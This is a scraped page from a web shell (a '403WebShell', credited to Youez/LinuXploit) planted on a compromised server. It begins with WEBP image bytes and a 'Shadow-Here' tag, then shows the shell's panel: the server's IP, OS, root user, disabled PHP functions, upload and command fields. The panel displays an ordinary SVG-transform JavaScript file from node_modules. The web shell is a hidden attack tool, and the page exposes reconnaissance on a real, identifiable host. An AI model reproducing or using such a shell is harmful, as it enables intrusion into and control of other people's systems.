RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/web/dev.agtindia.co.in/lrg-report/node_modules/svgo/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /home/web/dev.agtindia.co.in/lrg-report/node_modules/svgo/plugins/_transforms.js
'use strict';

const regTransformTypes = /matrix|translate|scale|rotate|skewX|skewY/;
const regTransformSplit =
  /\s*(matrix|translate|scale|rotate|skewX|skewY)\s*\(\s*(.+?)\s*\)[\s,]*/;
const regNumericValues = /[-+]?(?:\d*\.\d+|\d+\.?)(?:[eE][-+]?\d+)?/g;

/**
 * @typedef {{ name: string, data: Array<number> }} TransformItem
 */

/**
 * Convert transform string to JS representation.
 *
 * @type {(transformString: string) => Array<TransformItem>}
 */
exports.transform2js = (transformString) => {
  // JS representation of the transform data
  /**
   * @type {Array<TransformItem>}
   */
  const transforms = [];
  // current transform context
  /**
   * @type {null | TransformItem}
   */
  let current = null;
  // split value into ['', 'translate', '10 50', '', 'scale', '2', '', 'rotate', '-45', '']
  for (const item of transformString.split(regTransformSplit)) {
    var num;
    if (item) {
      // if item is a translate function
      if (regTransformTypes.test(item)) {
        // then collect it and change current context
        current = { name: item, data: [] };
        transforms.push(current);
        // else if item is data
      } else {
        // then split it into [10, 50] and collect as context.data
        // eslint-disable-next-line no-cond-assign
        while ((num = regNumericValues.exec(item))) {
          num = Number(num);
          if (current != null) {
            current.data.push(num);
          }
        }
      }
    }
  }
  // return empty array if broken transform (no data)
  return current == null || current.data.length == 0 ? [] : transforms;
};

/**
 * Multiply transforms into one.
 *
 * @type {(transforms: Array<TransformItem>) => TransformItem}
 */
exports.transformsMultiply = (transforms) => {
  // convert transforms objects to the matrices
  const matrixData = transforms.map((transform) => {
    if (transform.name === 'matrix') {
      return transform.data;
    }
    return transformToMatrix(transform);
  });
  // multiply all matrices into one
  const matrixTransform = {
    name: 'matrix',
    data:
      matrixData.length > 0 ? matrixData.reduce(multiplyTransformMatrices) : [],
  };
  return matrixTransform;
};

/**
 * math utilities in radians.
 */
const mth = {
  /**
   * @type {(deg: number) => number}
   */
  rad: (deg) => {
    return (deg * Math.PI) / 180;
  },

  /**
   * @type {(rad: number) => number}
   */
  deg: (rad) => {
    return (rad * 180) / Math.PI;
  },

  /**
   * @type {(deg: number) => number}
   */
  cos: (deg) => {
    return Math.cos(mth.rad(deg));
  },

  /**
   * @type {(val: number, floatPrecision: number) => number}
   */
  acos: (val, floatPrecision) => {
    return Number(mth.deg(Math.acos(val)).toFixed(floatPrecision));
  },

  /**
   * @type {(deg: number) => number}
   */
  sin: (deg) => {
    return Math.sin(mth.rad(deg));
  },

  /**
   * @type {(val: number, floatPrecision: number) => number}
   */
  asin: (val, floatPrecision) => {
    return Number(mth.deg(Math.asin(val)).toFixed(floatPrecision));
  },

  /**
   * @type {(deg: number) => number}
   */
  tan: (deg) => {
    return Math.tan(mth.rad(deg));
  },

  /**
   * @type {(val: number, floatPrecision: number) => number}
   */
  atan: (val, floatPrecision) => {
    return Number(mth.deg(Math.atan(val)).toFixed(floatPrecision));
  },
};

/**
 * @typedef {{
 *   convertToShorts: boolean,
 *   floatPrecision: number,
 *   transformPrecision: number,
 *   matrixToTransform: boolean,
 *   shortTranslate: boolean,
 *   shortScale: boolean,
 *   shortRotate: boolean,
 *   removeUseless: boolean,
 *   collapseIntoOne: boolean,
 *   leadingZero: boolean,
 *   negativeExtraSpace: boolean,
 * }} TransformParams
 */

/**
 * Decompose matrix into simple transforms. See
 * https://frederic-wang.fr/decomposition-of-2d-transform-matrices.html
 *
 * @type {(transform: TransformItem, params: TransformParams) => Array<TransformItem>}
 */
exports.matrixToTransform = (transform, params) => {
  let floatPrecision = params.floatPrecision;
  let data = transform.data;
  let transforms = [];
  let sx = Number(
    Math.hypot(data[0], data[1]).toFixed(params.transformPrecision)
  );
  let sy = Number(
    ((data[0] * data[3] - data[1] * data[2]) / sx).toFixed(
      params.transformPrecision
    )
  );
  let colsSum = data[0] * data[2] + data[1] * data[3];
  let rowsSum = data[0] * data[1] + data[2] * data[3];
  let scaleBefore = rowsSum != 0 || sx == sy;

  // [..., ..., ..., ..., tx, ty] → translate(tx, ty)
  if (data[4] || data[5]) {
    transforms.push({
      name: 'translate',
      data: data.slice(4, data[5] ? 6 : 5),
    });
  }

  // [sx, 0, tan(a)·sy, sy, 0, 0] → skewX(a)·scale(sx, sy)
  if (!data[1] && data[2]) {
    transforms.push({
      name: 'skewX',
      data: [mth.atan(data[2] / sy, floatPrecision)],
    });

    // [sx, sx·tan(a), 0, sy, 0, 0] → skewY(a)·scale(sx, sy)
  } else if (data[1] && !data[2]) {
    transforms.push({
      name: 'skewY',
      data: [mth.atan(data[1] / data[0], floatPrecision)],
    });
    sx = data[0];
    sy = data[3];

    // [sx·cos(a), sx·sin(a), sy·-sin(a), sy·cos(a), x, y] → rotate(a[, cx, cy])·(scale or skewX) or
    // [sx·cos(a), sy·sin(a), sx·-sin(a), sy·cos(a), x, y] → scale(sx, sy)·rotate(a[, cx, cy]) (if !scaleBefore)
  } else if (!colsSum || (sx == 1 && sy == 1) || !scaleBefore) {
    if (!scaleBefore) {
      sx = (data[0] < 0 ? -1 : 1) * Math.hypot(data[0], data[2]);
      sy = (data[3] < 0 ? -1 : 1) * Math.hypot(data[1], data[3]);
      transforms.push({ name: 'scale', data: [sx, sy] });
    }
    var angle = Math.min(Math.max(-1, data[0] / sx), 1),
      rotate = [
        mth.acos(angle, floatPrecision) *
          ((scaleBefore ? 1 : sy) * data[1] < 0 ? -1 : 1),
      ];

    if (rotate[0]) transforms.push({ name: 'rotate', data: rotate });

    if (rowsSum && colsSum)
      transforms.push({
        name: 'skewX',
        data: [mth.atan(colsSum / (sx * sx), floatPrecision)],
      });

    // rotate(a, cx, cy) can consume translate() within optional arguments cx, cy (rotation point)
    if (rotate[0] && (data[4] || data[5])) {
      transforms.shift();
      var cos = data[0] / sx,
        sin = data[1] / (scaleBefore ? sx : sy),
        x = data[4] * (scaleBefore ? 1 : sy),
        y = data[5] * (scaleBefore ? 1 : sx),
        denom =
          (Math.pow(1 - cos, 2) + Math.pow(sin, 2)) *
          (scaleBefore ? 1 : sx * sy);
      rotate.push(((1 - cos) * x - sin * y) / denom);
      rotate.push(((1 - cos) * y + sin * x) / denom);
    }

    // Too many transformations, return original matrix if it isn't just a scale/translate
  } else if (data[1] || data[2]) {
    return [transform];
  }

  if ((scaleBefore && (sx != 1 || sy != 1)) || !transforms.length)
    transforms.push({
      name: 'scale',
      data: sx == sy ? [sx] : [sx, sy],
    });

  return transforms;
};

/**
 * Convert transform to the matrix data.
 *
 * @type {(transform: TransformItem) => Array<number> }
 */
const transformToMatrix = (transform) => {
  if (transform.name === 'matrix') {
    return transform.data;
  }
  switch (transform.name) {
    case 'translate':
      // [1, 0, 0, 1, tx, ty]
      return [1, 0, 0, 1, transform.data[0], transform.data[1] || 0];
    case 'scale':
      // [sx, 0, 0, sy, 0, 0]
      return [
        transform.data[0],
        0,
        0,
        transform.data[1] || transform.data[0],
        0,
        0,
      ];
    case 'rotate':
      // [cos(a), sin(a), -sin(a), cos(a), x, y]
      var cos = mth.cos(transform.data[0]),
        sin = mth.sin(transform.data[0]),
        cx = transform.data[1] || 0,
        cy = transform.data[2] || 0;
      return [
        cos,
        sin,
        -sin,
        cos,
        (1 - cos) * cx + sin * cy,
        (1 - cos) * cy - sin * cx,
      ];
    case 'skewX':
      // [1, 0, tan(a), 1, 0, 0]
      return [1, 0, mth.tan(transform.data[0]), 1, 0, 0];
    case 'skewY':
      // [1, tan(a), 0, 1, 0, 0]
      return [1, mth.tan(transform.data[0]), 0, 1, 0, 0];
    default:
      throw Error(`Unknown transform ${transform.name}`);
  }
};

/**
 * Applies transformation to an arc. To do so, we represent ellipse as a matrix, multiply it
 * by the transformation matrix and use a singular value decomposition to represent in a form
 * rotate(θ)·scale(a b)·rotate(φ). This gives us new ellipse params a, b and θ.
 * SVD is being done with the formulae provided by Wolffram|Alpha (svd {{m0, m2}, {m1, m3}})
 *
 * @type {(
 *   cursor: [x: number, y: number],
 *   arc: Array<number>,
 *   transform: Array<number>
 * ) => Array<number>}
 */
exports.transformArc = (cursor, arc, transform) => {
  const x = arc[5] - cursor[0];
  const y = arc[6] - cursor[1];
  let a = arc[0];
  let b = arc[1];
  const rot = (arc[2] * Math.PI) / 180;
  const cos = Math.cos(rot);
  const sin = Math.sin(rot);
  // skip if radius is 0
  if (a > 0 && b > 0) {
    let h =
      Math.pow(x * cos + y * sin, 2) / (4 * a * a) +
      Math.pow(y * cos - x * sin, 2) / (4 * b * b);
    if (h > 1) {
      h = Math.sqrt(h);
      a *= h;
      b *= h;
    }
  }
  const ellipse = [a * cos, a * sin, -b * sin, b * cos, 0, 0];
  const m = multiplyTransformMatrices(transform, ellipse);
  // Decompose the new ellipse matrix
  const lastCol = m[2] * m[2] + m[3] * m[3];
  const squareSum = m[0] * m[0] + m[1] * m[1] + lastCol;
  const root =
    Math.hypot(m[0] - m[3], m[1] + m[2]) * Math.hypot(m[0] + m[3], m[1] - m[2]);

  if (!root) {
    // circle
    arc[0] = arc[1] = Math.sqrt(squareSum / 2);
    arc[2] = 0;
  } else {
    const majorAxisSqr = (squareSum + root) / 2;
    const minorAxisSqr = (squareSum - root) / 2;
    const major = Math.abs(majorAxisSqr - lastCol) > 1e-6;
    const sub = (major ? majorAxisSqr : minorAxisSqr) - lastCol;
    const rowsSum = m[0] * m[2] + m[1] * m[3];
    const term1 = m[0] * sub + m[2] * rowsSum;
    const term2 = m[1] * sub + m[3] * rowsSum;
    arc[0] = Math.sqrt(majorAxisSqr);
    arc[1] = Math.sqrt(minorAxisSqr);
    arc[2] =
      (((major ? term2 < 0 : term1 > 0) ? -1 : 1) *
        Math.acos((major ? term1 : term2) / Math.hypot(term1, term2)) *
        180) /
      Math.PI;
  }

  if (transform[0] < 0 !== transform[3] < 0) {
    // Flip the sweep flag if coordinates are being flipped horizontally XOR vertically
    arc[4] = 1 - arc[4];
  }

  return arc;
};

/**
 * Multiply transformation matrices.
 *
 * @type {(a: Array<number>, b: Array<number>) => Array<number>}
 */
const multiplyTransformMatrices = (a, b) => {
  return [
    a[0] * b[0] + a[2] * b[1],
    a[1] * b[0] + a[3] * b[1],
    a[0] * b[2] + a[2] * b[3],
    a[1] * b[2] + a[3] * b[3],
    a[0] * b[4] + a[2] * b[5] + a[4],
    a[1] * b[4] + a[3] * b[5] + a[5],
  ];
};

Youez - 2016 - github.com/yon3zu
LinuXploit